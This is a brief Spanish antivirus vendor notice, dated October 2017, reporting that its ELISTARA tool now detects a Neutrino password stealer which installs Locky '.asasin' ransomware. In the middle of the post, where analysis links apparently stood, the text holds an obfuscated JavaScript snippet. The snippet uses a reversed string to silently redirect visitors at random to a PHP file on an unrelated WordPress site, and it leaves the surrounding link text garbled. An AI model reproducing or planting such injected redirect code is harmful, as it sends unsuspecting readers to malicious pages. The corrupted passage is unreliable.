UNA COMBINACION PELIGROSA: MAIL CON DOC SIN MACROS QUE CONTIENE SPYBANKER NEUTRINO QUE INSTALA UN LOCKY -ASASIN !

Pues si no era suficiente con uno, ahora vienen de dos en dos …

Ya controlabamos por un lado el SPYBANKER NEUTRINO llegado en un DOC sin macros anexado a un email, pero, si no quieres caldo… ahora este PWS, ADEMÁS DE ROBAR CONTRASEÑAS, descarga e instala un ransomware de la familia LOCKY, cuya última (y actual) gama añade .asasin a los ficheros cifrados.

A partir de la versión 37.76 del ELISTARA de hoy pasamos a controlar esta nueva pareja de malwares, cuya combinación puede dañar en grado sumo a los usuarios, robandoles los passwords y cifrandoles los documentos de los ordenadores con carpetas compartidas, incluyendo el servidor.

Los preanalisis de dichos dos congeneres ofrecen estos informes:

$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“‘php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}total.com/es/file/60834806865b1f4c3e1375a244f77d0a3ebcc4731a890eb6210dc2cc47666236/analysis/1509377302/”>y ESTE ES EL DEL FICHERO DEL LOCKY-ASASIN DEL ab297c98.gxe generado por el anterior

Dicha versión del ELISTARA 37.76 que los detecta y elimina, estará disponible en nuestra web a partir del 31.10 prox

saludos

ms, 30-10-2017